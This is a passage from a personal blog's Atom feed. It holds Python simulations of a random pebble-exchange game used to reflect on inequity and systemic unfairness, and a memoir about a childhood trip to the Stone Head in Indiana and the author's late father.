</span></span><span style="display:flex;"><span>                people[r] <span style="color:#39c">+=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#000080"># let&#39;s pull out the values so we can easily sort them...</span>
</span></span><span style="display:flex;"><span>    values <span style="color:#39c">=</span> []
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>        values<span style="color:#39c">.</span>append(people[p])
</span></span><span style="display:flex;"><span>    <span style="color:#000080"># sort the results, lowest to highest</span>
</span></span><span style="display:flex;"><span>    values<span style="color:#39c">.</span>sort()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    count <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>
</span></span><span style="display:flex;"><span>    sumval <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>        <span style="color:#cdcd00">if</span> people[p] <span style="color:#39c">&gt;=</span> <span style="color:#cd00cd">100</span>:
</span></span><span style="display:flex;"><span>            count <span style="color:#39c">+=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>            sumval <span style="color:#39c">+=</span> p
</span></span><span style="display:flex;"><span>    <span style="color:#cd00cd">print</span>(<span style="color:#cd0000">&#39;Run #</span><span style="color:#cd0000">%3.3i</span><span style="color:#cd0000">: sum: </span><span style="color:#cd0000">%i</span><span style="color:#cd0000"> count: </span><span style="color:#cd0000">%i</span><span style="color:#cd0000"> average: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000">&#39;</span> <span style="color:#39c">%</span> ((k <span style="color:#39c">+</span> <span style="color:#cd00cd">1</span>), sumval, count, (sumval <span style="color:#39c">/</span> count)))
</span></span><span style="display:flex;"><span>    averages<span style="color:#39c">.</span>append(sumval <span style="color:#39c">/</span> count)
</span></span><span style="display:flex;"><span><span style="color:#000080"># now, let&#39;s do a little statistical math...</span>
</span></span><span style="display:flex;"><span>avg <span style="color:#39c">=</span> <span style="color:#cd00cd">sum</span>(averages) <span style="color:#39c">/</span> <span style="color:#cd00cd">len</span>(averages)
</span></span><span style="display:flex;"><span>var <span style="color:#39c">=</span> <span style="color:#cd00cd">sum</span>((x <span style="color:#39c">-</span> avg)<span style="color:#39c">**</span><span style="color:#cd00cd">2</span> <span style="color:#cdcd00">for</span> x <span style="color:#cdcd00">in</span> averages) <span style="color:#39c">/</span> <span style="color:#cd00cd">len</span>(averages)
</span></span><span style="display:flex;"><span>std <span style="color:#39c">=</span> var<span style="color:#39c">**</span><span style="color:#cd00cd">0.5</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">print</span>(<span style="color:#cd0000">&#39;Overall: average:</span><span style="color:#cd0000">%f</span><span style="color:#cd0000"> variance: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000"> std_deviation: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000">&#39;</span> <span style="color:#39c">%</span> (avg, var, std))
</span></span></code></pre></div><p>I reworked the original game simulation code a bit to run the game in a loop, 100 times. For each run, I pulled out a list of the people who <em>won</em> the game - which I defined as <em>those who ended up with 100 or more pebbles</em>. I calculated the average of their <em>ID Numbers</em> (which ranged from 0 - 999). If the <em>winning</em> group was <em>fairly</em> distributed, the average of those values should have been right around 500 (actually, 499.5, but that&rsquo;s just me nitpicking&hellip;). I gathered the average value for each of the 100 runs, and did a little statistical calculating&hellip; averaging all of the averages and calculating their standard deviation. What I found was the following:</p>
<pre tabindex="0"><code>average:499.543340 variance: 148.283085 std_deviation: 12.177154
</code></pre><p>My sample size (100 games) is probably a little small, but overall, it&rsquo;s showing pretty much what I predicted.</p>
<p>So, what happens if we throw even a tiny bit of systemic unfairness into the mix? What happens if as little as 1% of our population decides that doesn&rsquo;t like a specific 10% chunk of the population - and refuses to give them a pebble? How might that skew the results?</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#000080">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">import</span> random
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">from</span> datetime <span style="color:#cd00cd">import</span> datetime
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># choose a random seed</span>
</span></span><span style="display:flex;"><span>random<span style="color:#39c">.</span>seed(datetime<span style="color:#39c">.</span>now()<span style="color:#39c">.</span>timestamp())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>people <span style="color:#39c">=</span> {}
</span></span><span style="display:flex;"><span>averages <span style="color:#39c">=</span> []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># we begin with 1000 people, each with 100 pebbles</span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">for</span> i <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">1000</span>):
</span></span><span style="display:flex;"><span>    people[i] <span style="color:#39c">=</span> <span style="color:#cd00cd">100</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># let&#39;s play the game 100 times...</span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">for</span> k <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">100</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#000080"># every second, each individual picks a random person and gives them one pebble</span>
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> i <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">3600</span> <span style="color:#39c">*</span> <span style="color:#cd00cd">8</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>            r <span style="color:#39c">=</span> p
</span></span><span style="display:flex;"><span>            <span style="color:#cdcd00">while</span>(r <span style="color:#39c">==</span> p):
</span></span><span style="display:flex;"><span>                <span style="color:#cdcd00">if</span> p <span style="color:#39c">&gt;=</span> <span style="color:#cd00cd">len</span>(people) <span style="color:#39c">-</span> (<span style="color:#cd00cd">len</span>(people) <span style="color:#39c">*</span> <span style="color:#cd00cd">0.01</span>):
</span></span><span style="display:flex;"><span>                    r <span style="color:#39c">=</span> random<span style="color:#39c">.</span>randint(<span style="color:#cd00cd">len</span>(people) <span style="color:#39c">*</span> <span style="color:#cd00cd">0.10</span>, <span style="color:#cd00cd">len</span>(people) <span style="color:#39c">-</span> <span style="color:#cd00cd">1</span>)
</span></span><span style="display:flex;"><span>                <span style="color:#cdcd00">else</span>:
</span></span><span style="display:flex;"><span>                    r <span style="color:#39c">=</span> random<span style="color:#39c">.</span>randint(<span style="color:#cd00cd">0</span>, <span style="color:#cd00cd">len</span>(people) <span style="color:#39c">-</span> <span style="color:#cd00cd">1</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#cdcd00">if</span> people[p] <span style="color:#39c">&gt;</span> <span style="color:#cd00cd">0</span>:
</span></span><span style="display:flex;"><span>                people[p] <span style="color:#39c">-=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>                people[r] <span style="color:#39c">+=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#000080"># let&#39;s pull out the values so we can easily sort them...</span>
</span></span><span style="display:flex;"><span>    values <span style="color:#39c">=</span> []
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>        values<span style="color:#39c">.</span>append(people[p])
</span></span><span style="display:flex;"><span>    <span style="color:#000080"># sort the results, lowest to highest</span>
</span></span><span style="display:flex;"><span>    values<span style="color:#39c">.</span>sort()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    count <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>
</span></span><span style="display:flex;"><span>    sumval <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>        <span style="color:#cdcd00">if</span> people[p] <span style="color:#39c">&gt;=</span> <span style="color:#cd00cd">100</span>:
</span></span><span style="display:flex;"><span>            count <span style="color:#39c">+=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>            sumval <span style="color:#39c">+=</span> p
</span></span><span style="display:flex;"><span>    <span style="color:#cd00cd">print</span>(<span style="color:#cd0000">&#39;Run #</span><span style="color:#cd0000">%3.3i</span><span style="color:#cd0000">: sum: </span><span style="color:#cd0000">%i</span><span style="color:#cd0000"> count: </span><span style="color:#cd0000">%i</span><span style="color:#cd0000"> average: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000">&#39;</span> <span style="color:#39c">%</span> ((k <span style="color:#39c">+</span> <span style="color:#cd00cd">1</span>), sumval, count, (sumval <span style="color:#39c">/</span> count)))
</span></span><span style="display:flex;"><span>    averages<span style="color:#39c">.</span>append(sumval <span style="color:#39c">/</span> count)
</span></span><span style="display:flex;"><span><span style="color:#000080"># now, let&#39;s do a little statistical math...</span>
</span></span><span style="display:flex;"><span>avg <span style="color:#39c">=</span> <span style="color:#cd00cd">sum</span>(averages) <span style="color:#39c">/</span> <span style="color:#cd00cd">len</span>(averages)
</span></span><span style="display:flex;"><span>var <span style="color:#39c">=</span> <span style="color:#cd00cd">sum</span>((x <span style="color:#39c">-</span> avg)<span style="color:#39c">**</span><span style="color:#cd00cd">2</span> <span style="color:#cdcd00">for</span> x <span style="color:#cdcd00">in</span> averages) <span style="color:#39c">/</span> <span style="color:#cd00cd">len</span>(averages)
</span></span><span style="display:flex;"><span>std <span style="color:#39c">=</span> var<span style="color:#39c">**</span><span style="color:#cd00cd">0.5</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">print</span>(<span style="color:#cd0000">&#39;Overall: average:</span><span style="color:#cd0000">%f</span><span style="color:#cd0000"> variance: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000"> std_deviation: </span><span style="color:#cd0000">%f</span><span style="color:#cd0000">&#39;</span> <span style="color:#39c">%</span> (avg, var, std))
</span></span></code></pre></div><p>This changes the code so that 1% of our population (just ten folks with <em>ID Numbers</em> 990-999) <em>will not</em> give a pebble to a specific 10% of the population (any one of the 100 people with the lowest <em>ID Numbers</em>, down in the range 0-99).</p>
<p>If I&rsquo;m correct in my assumption that even a small amount of systemic unfairness will skew the result, then the average <em>ID Number</em> of the <em>winning</em> cohort should rise (by forcing some of those people with low <em>ID Numbers</em> out of the winning cohort). But will this small amount of systemic unfairness (<em>only 1% of our population</em>) create a statistically significant change?</p>
<p>Let&rsquo;s take a look at the overall distribution of pebbles that results from one run of this new <em>1% systemic unfairness</em> paradigm:</p>
<p><img src="inequity2.png" alt="Paradigm shift"></p>
<p>Nothing has changed in the distribution:</p>
<ul>
<li>Some people ended up with a crap-tonne of pebbles</li>
<li>Some people ended up with no pebbles at all</li>
</ul>
<p>What <em>did</em> change was who got to be in the <em>winners</em> category. Here&rsquo;s the results for 100 runs:</p>
<pre tabindex="0"><code>average:544.126954 variance: 118.185653 std_deviation: 10.871323
</code></pre><p>Fewer of the folks in the 0-99 range got to be a <em>winner</em>, raising the average <em>ID Number</em> of the winners by 44 points - well beyond the standard deviation of both sets of results, meaning that yes, indeed, this is a statistically significant change.</p>
<p>And, unfortunately, all of this was driven by only 1% of the population.</p>
<blockquote>
<p>All of the inequity in the result of our game arises from a perfectly fair system; in the simulation, the people who <em>win</em> are randomly different every time. Imagine the results if you threw in even the smallest amount of systemic unfairness&hellip;</p>
</blockquote>
<p>Now, there&rsquo;s no need to imagine.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 26, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="personal" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/inequity" term="inequity" label="Inequity" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/unfairness" term="unfairness" label="unfairness" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[The Great Stone Head]]></title>
            <link href="https://yourflyis0pen.com/article/the-great-stone-head/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/0x3a/?utm_source=atom_feed" rel="related" type="text/html" title="0x3A" />
                <link href="https://yourflyis0pen.com/article/inequity/?utm_source=atom_feed" rel="related" type="text/html" title="Inequity and Randomness" />
                <link href="https://yourflyis0pen.com/article/steppin-in-it/?utm_source=atom_feed" rel="related" type="text/html" title="Steppin&#39; In It" />
                <link href="https://yourflyis0pen.com/article/why/?utm_source=atom_feed" rel="related" type="text/html" title="Why Should the Bad Guys Have All the Fun?" />
                <link href="https://yourflyis0pen.com/article/hive/?utm_source=atom_feed" rel="related" type="text/html" title="You will never find a more wretched hive of scum and villainy..." />
            
                <id>https://yourflyis0pen.com/article/the-great-stone-head/</id>
            
            
            <published>2021-04-22T07:23:34-05:00</published>
            <updated>2021-04-22T07:23:34-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>I&rsquo;ve been thinking about my father lately.</p>
<p>I&rsquo;m not one for really remembering dates all that well. I constantly have to look them up - things like my wedding anniversary. It isn&rsquo;t that those dates aren&rsquo;t important to me - they are - but my brain just doesn&rsquo;t work that way.</p>
<p>When I started writing this post this morning - a story based around a trip we took when I was young - I had a very specific point in mind: I wanted to compare that trip to this past year - <em>The Year of Covid</em>.</p>
<p>Because my father plays an integral part and I wanted to talk about him, I looked up to see when, exactly, he had passed away: April 22, 2011.</p>
<p>Ten years to the day&hellip;</p>
<p>Whoa.</p>
<p>Perhaps that&rsquo;s why he&rsquo;s been on my mind.</p>
<hr>
<p>My father was an amazing man in many, many ways. There isn&rsquo;t a week that goes by when I don&rsquo;t think about him. There are so many things I miss about him - his easy laughter, his goofy sayings. Whenever anyone would ask him how he was, he would always answer the same way: &ldquo;Amazing.&rdquo;</p>
<p>There are so many things that I wish I could show him. So many things that I wish I could tell him.</p>
<p>Did I mention that I miss him?</p>
<p>My dad wasn&rsquo;t much for vacations. When I was little, we went on very few trips. When he was older, he and my mom traveled more, but big family vacations were a rarity when I was growing up.</p>
<p>At one point - I was probably five or six - my dad took to the notion of setting aside a weekend every so often for a <em>day trip</em>. You know - visiting something that you can travel to, spend some time seeing, and return home from, all in one day. It was strangely out of character for my dad, so of course these trips became the stuff of legend.</p>
<p>One trip in particular stands out in my memory, because it was the genesis of a specific phrase that became part of our family lore. Every family has them - something that someone said or did that everyone remembers and brings up over the years. It&rsquo;s an important part of the shared family experience.</p>
<p>But, I&rsquo;m getting ahead of myself&hellip;</p>
<p>One weekend, we packed a lunch into the big, green, metal cooler with the white hinged lid and bundled everyone into the car. As was always the case for any lengthy road trip, the cooler was placed on the back seat between my brother and me - a method of staving off the inevitable fussing and outbursts of, &ldquo;He&rsquo;s touching me!&rdquo;</p>
<p>My brother and I were like that.</p>
<p>And so we sat, each in our own little, green-metal-walled enclosure, for what seemed like forever. When you&rsquo;re five or six, a three-and-a-half hour car ride is interminable. Back then, we didn&rsquo;t have streaming Internet and Netflix to pass the time like my nine-year-old does today. We just had to &ldquo;<em>enjoy the scenery,</em>&rdquo; according to my mother&rsquo;s instructions.</p>
<p>Five or six year olds <em>don&rsquo;t</em> enjoy scenery.</p>
<p>In any case, during this interminable, scenery-laced, forever-taking ride, my father was dropping hints about where we were going. It was something that he had read about in one of the Sunday supplements in our local paper, and he apparently had all the skinny on this destination. This whole <em>keeping-where-we&rsquo;re-going-secret</em> and <em>doling-out-informative-hints</em> thing is something I inherited from my dad. I do/did it to my kids too. I&rsquo;m sure that it was way more fun for my dad than it was for my brother and me, and it&rsquo;s just as likely that it was way more fun for me than it is/was for my kids. But hey, <em>that&rsquo;s life</em>.</p>
<p>They&rsquo;ll probably do it to <em>their</em> kids too. At least I hope they will&hellip;</p>
<p>As I recall, my brother and I were pretty horrible at this guessing game - so eventually my dad just flat-out told us what we were going to see.</p>
<p><em>The Great Stone Head</em>.</p>
<p>When I think back about this trip, I always think of it as <em>The Great Stone Head</em> - but I&rsquo;m pretty sure that the word &ldquo;Great&rdquo; may be a product of my imagination. I did a little digging on-line, and everything I can find simply references it as <em>The Stone Head.</em> Regardless, I will, forever, refer to it as <em>The Great Stone Head.</em> It&rsquo;s quite possible that my dad - always one for superlatives - tossed &ldquo;Great&rdquo; into the mix to keep my brother and I enthralled.</p>
<p>We weren&rsquo;t enthralled&hellip;</p>
<p>As we continued driving, my father launched into the story of <em>The Great Stone Head</em>.</p>
<p>In 1851, a relatively unknown stone mason named Henry Cross had carved a mile marker in the shape of a head. A small, unincorporated community had grown up around it, taking the name, &ldquo;Stone Head, Indiana.&rdquo;</p>
<p>Yep. That&rsquo;s it. Nothing more to tell&hellip;</p>
<p>Back to looking at the scenery.</p>
<p>Time passed. We stopped in a rest area and ate lunch and then climbed back into the car to <em>enjoy</em> more scenery.</p>
<p>The heat-death of the universe came and went.</p>
<p>Still, more time passed.</p>
<p>Finally, we arrived.</p>
<p><img src="stone-head.jpg" alt="The Great Stone Head"></p>
<p>Seriously, that&rsquo;s it. (Today, it even has a Wikipedia entry. <a href="https://en.wikipedia.org/wiki/Stone_Head,_Indiana">A very short Wikipedia entry</a>.)</p>
<p>We stood and we looked - and then we got back in the car and drove home.</p>
<p>There was more than a little tension at the beginning of the car ride back. My dad was tired from the drive. My brother and I were well and truly <em>over</em> scenery. My mom just stared out the window.</p>
<p>Then, there was the obvious <em>disappointment</em> - that creepy face that we&rsquo;d spent <em>forever</em> driving to see.</p>
<p>That&rsquo;s when the five or six year old kid - who grew up to be me - said it:</p>
<p>&ldquo;<em>Well, that was a bummer&hellip;</em>&rdquo;</p>
<p>It was one of those fixed points in space-time - a pivotal moment when everything hung in the balance, and reality could have tipped in either direction.</p>
<p>Then, my dad began to chuckle.</p>
<p>The car ride home was a lot of fun. We sang, we told jokes, we laughed. Somewhere along the way, I fell asleep. When I woke up, we were in the parking lot of a small burger restaurant near home. It was just beginning to get dark, and my dad was waking me up. We rarely went out to eat, so this was an unexpected treat.</p>
<p>When I was thinking about this story, I was going to use it as a metaphor for the past year. It&rsquo;s been about a year since the whole world got turned upside down, and became&hellip; well&hellip; <em>a bummer</em>.</p>
<p>The thing is, over the years, as the <em>bummer</em> story was told and re-told, and as our family continued to use that phrase, the meaning of it has shifted a bit. Yes, it still gets trotted out when something turns out to be a disappointment, but <em>disappointment</em> can come in a lot of different flavors.</p>
<p>One of those flavors of <em>disappointment</em> entails spending seven-ish hours in a car, just to see some creepy carved stone head.</p>
<p>But its also a <em>bummer</em> when you&rsquo;re doing something wonderful and you have to cut it short. Endings are another, sadder flavor of <em>disappointment</em>.</p>
<p>So, this story isn&rsquo;t going to be about comparing <em>The Year of Covid</em> to <em>The Great Stone Head</em>.</p>
<p>It&rsquo;s become about something else.</p>
<p>You see, ten years ago today my dad died - and there&rsquo;s really only one way to describe that:</p>
<p>&ldquo;<em>Well, that was a bummer&hellip;</em>&rdquo;</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 22, 2021</p>
<p>Post Script: <em>Apparently, The Great Stone head had a rather tumultuous time of it after our visit. In 1974, it was stolen, only to be found four months later in an Indianapolis apartment where two teenagers had turned it into a hat rack. It was returned to its rightful place, only to be beheaded in November of 2016. Currently, the whereabouts of the severed head is a mystery.</em></p>
<p><em>I <strong>swear</strong> I had nothing to do with it.</em></p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="Personal" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/life" term="life" label="life" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Inequity and Randomness]]></title>
            <link href="https://yourflyis0pen.com/article/inequity/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/steppin-in-it/?utm_source=atom_feed" rel="related" type="text/html" title="Steppin&#39; In It" />
                <link href="https://yourflyis0pen.com/article/why/?utm_source=atom_feed" rel="related" type="text/html" title="Why Should the Bad Guys Have All the Fun?" />
                <link href="https://yourflyis0pen.com/article/hive/?utm_source=atom_feed" rel="related" type="text/html" title="You will never find a more wretched hive of scum and villainy..." />
                <link href="https://yourflyis0pen.com/article/tftp/?utm_source=atom_feed" rel="related" type="text/html" title="Tee Eff Tee Pee" />
                <link href="https://yourflyis0pen.com/article/uh-dot-dot-dot/?utm_source=atom_feed" rel="related" type="text/html" title="Uh..." />
            
                <id>https://yourflyis0pen.com/article/inequity/</id>
            
            
            <published>2021-04-19T12:11:31-05:00</published>
            <updated>2021-04-19T12:11:31-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>Let&rsquo;s play a simple game - <em>an experiment of the mind</em>.</p>
<p>Here is the setup and the rules of the game - don&rsquo;t worry, they&rsquo;re not complicated at all:</p>
<hr>
<p><strong><em>Setup:</em></strong></p>
<ul>
<li>We&rsquo;re going to start off the game by gathering 1000 people together.</li>
<li>We&rsquo;re going to give each person 100 small pebbles in a cool, stylish drawstring bag. Perhaps it will be monogrammed. Who knows&hellip;</li>
<li>We&rsquo;re going to set up a timer that will, annoyingly, beep once every second.</li>
<li>The game will last for 8 hours.</li>
</ul>
<p><strong><em>Rules:</em></strong></p>
<ol>
<li>With every annoying beep of the timer, each person is to - <em>completely randomly</em> - choose another person, and give them a pebble.</li>
</ol>
<hr>
<p>That&rsquo;s it. Nothing more.</p>
<p>We won&rsquo;t worry about how we&rsquo;re going to physically place all of these folks in a room so truly random choices can happen. We&rsquo;re not going to worry about feeding them lunch or giving them breaks. They won&rsquo;t get bored or tired. This is, after all, <em>an experiment of the mind</em>.</p>
<p>Here&rsquo;s my question, and I want you to really think about it: <em>at the end of eight hours, what will the distribution of pebbles look like?</em></p>
<p>Remember: Each person <em>randomly</em> chooses someone else (not themselves) to give a pebble. On every turn, every person in the game gives away one pebble, but - because the choices are truly random, every person has the exact same chance (as every other person) of being the recipient of one or more of the 999 other pebbles that are given away.</p>
<p><em>What happens?</em></p>
<p>[Scroll down to see the results]</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>So, when I first saw this demonstrated, I was stunned. My gut instinct had been to say, &ldquo;<em>Well, if everyone is chosen randomly, then everyone should have the same chance of getting a pebble added to their bag. Pebbles should end up being fairly evenly distributed&hellip;</em>&rdquo; I&rsquo;m pretty sure if you&rsquo;ve never seen this demonstrated before, <strong>you</strong> likely thought the same thing.</p>
<p>I couldn&rsquo;t believe the results (click on the picture to expand):</p>
<p><img src="inequity.png" alt="Unbelievable results"></p>
<p>That&rsquo;s not just an isolated run. <em>Every time this game is played, that&rsquo;s the resulting distribution of pebbles.</em> Some people end up with a crazy number of pebbles. Some people end up with none. The overall number of pebble held by the top few people changes&hellip; sometimes the bottom end people have a few more or less pebbles, but that&rsquo;s the distribution. Every. Damned. Time.</p>
<p>If you want to play around, here&rsquo;s some Python code that I used to simulate this simple game:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#000080">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">import</span> matplotlib.pyplot <span style="color:#cdcd00">as</span> plt
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">import</span> random
</span></span><span style="display:flex;"><span><span style="color:#cd00cd">from</span> datetime <span style="color:#cd00cd">import</span> datetime
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># choose a random seed</span>
</span></span><span style="display:flex;"><span>random<span style="color:#39c">.</span>seed(datetime<span style="color:#39c">.</span>now()<span style="color:#39c">.</span>timestamp())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>people <span style="color:#39c">=</span> []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># we begin with 1000 people, each with 100 pebbles</span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">for</span> i <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">1000</span>):
</span></span><span style="display:flex;"><span>	people<span style="color:#39c">.</span>append(<span style="color:#cd00cd">100</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># every second, each individual picks a random person and gives them one pebble</span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">for</span> i <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">3600</span> <span style="color:#39c">*</span> <span style="color:#cd00cd">8</span>):
</span></span><span style="display:flex;"><span>	<span style="color:#cdcd00">for</span> p <span style="color:#cdcd00">in</span> <span style="color:#cd00cd">range</span>(<span style="color:#cd00cd">len</span>(people)):
</span></span><span style="display:flex;"><span>		r <span style="color:#39c">=</span> random<span style="color:#39c">.</span>randint(<span style="color:#cd00cd">0</span>,<span style="color:#cd00cd">len</span>(people) <span style="color:#39c">-</span> <span style="color:#cd00cd">1</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#000080"># Thou shalt not choose thyself...</span>
</span></span><span style="display:flex;"><span>		<span style="color:#cdcd00">while</span> r <span style="color:#39c">==</span> p:
</span></span><span style="display:flex;"><span>			r <span style="color:#39c">=</span> random<span style="color:#39c">.</span>randint(<span style="color:#cd00cd">0</span>,<span style="color:#cd00cd">len</span>(people) <span style="color:#39c">-</span> <span style="color:#cd00cd">1</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#000080"># if they&#39;ve got a pebble to give, give it</span>
</span></span><span style="display:flex;"><span>		<span style="color:#cdcd00">if</span> people[p] <span style="color:#39c">&gt;</span> <span style="color:#cd00cd">0</span>:
</span></span><span style="display:flex;"><span>			people[p] <span style="color:#39c">-=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>			people[r] <span style="color:#39c">+=</span> <span style="color:#cd00cd">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080"># sort the results, lowest to highest</span>
</span></span><span style="display:flex;"><span>people<span style="color:#39c">.</span>sort()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#000080">#plot the results</span>
</span></span><span style="display:flex;"><span>fig, ax <span style="color:#39c">=</span> plt<span style="color:#39c">.</span>subplots()
</span></span><span style="display:flex;"><span>ax<span style="color:#39c">.</span>plot(people)
</span></span><span style="display:flex;"><span>ax<span style="color:#39c">.</span>set(xlabel<span style="color:#39c">=</span><span style="color:#cd0000">&#39;Individuals&#39;</span>, ylabel<span style="color:#39c">=</span><span style="color:#cd0000">&#39;Pebbles&#39;</span>)
</span></span><span style="display:flex;"><span>fig<span style="color:#39c">.</span>tight_layout()
</span></span><span style="display:flex;"><span>plt<span style="color:#39c">.</span>show()
</span></span></code></pre></div><p>[<em>You&rsquo;ll need matplotlib installed to make the pretty graph&hellip;</em>]</p>
<p>Here&rsquo;s the thing: this is about as simple a game as you can imagine. There&rsquo;s really only one rule. Theoretically, it&rsquo;s about as fair a game as can be made - all of the choices involved are truly fair and random.</p>
<p>It&rsquo;s just that the end results are anything but fair&hellip;</p>
<p>I have a couple of take-aways from this game:</p>
<ul>
<li>We&rsquo;re really, REALLY bad at understanding the outcome of even brain-dead simple rule systems.</li>
<li>There&rsquo;s something <em>fundamental</em> going on here. If this is the distribution <em>every time</em>, something interesting is driving it.</li>
</ul>
<p>I couldn&rsquo;t help but draw a parallel between the graph resulting from this simple game, and this graph (click on the picture to expand):</p>
<p><img src="income.png" alt="Another graph"></p>
<p>This graph shows U.S. Household Income by Percentile for 2020. The data comes from <a href="https://cps.ipums.org/">IPMS CPS</a> and is 1999 data adjusted to 2020 dollar values using CPI data.</p>
<p>I&rsquo;m not saying that there are any conclusions that can be drawn from the fact that those two graphs look remarkably similar - in fact, I&rsquo;ll go so far as to say that such conclusions would likely be invalid in any number of ways. All of that aside, however, this does have me thinking about many, many things.</p>
<p>When a simple, stupid game involving the truly random movement of pebbles can mimic the broader inequities found in our society - you really need to pause and reflect on life.</p>
<p>What I <em>will</em> say is this. The spoken and unspoken rules that drive the data that makes up that second graph are far more complex, far more entangled, and far more difficult to understand than the single rule that drives the data resulting from our game - <em>and most if not all of you were unable to predict the results of that single, simple rule</em>.</p>
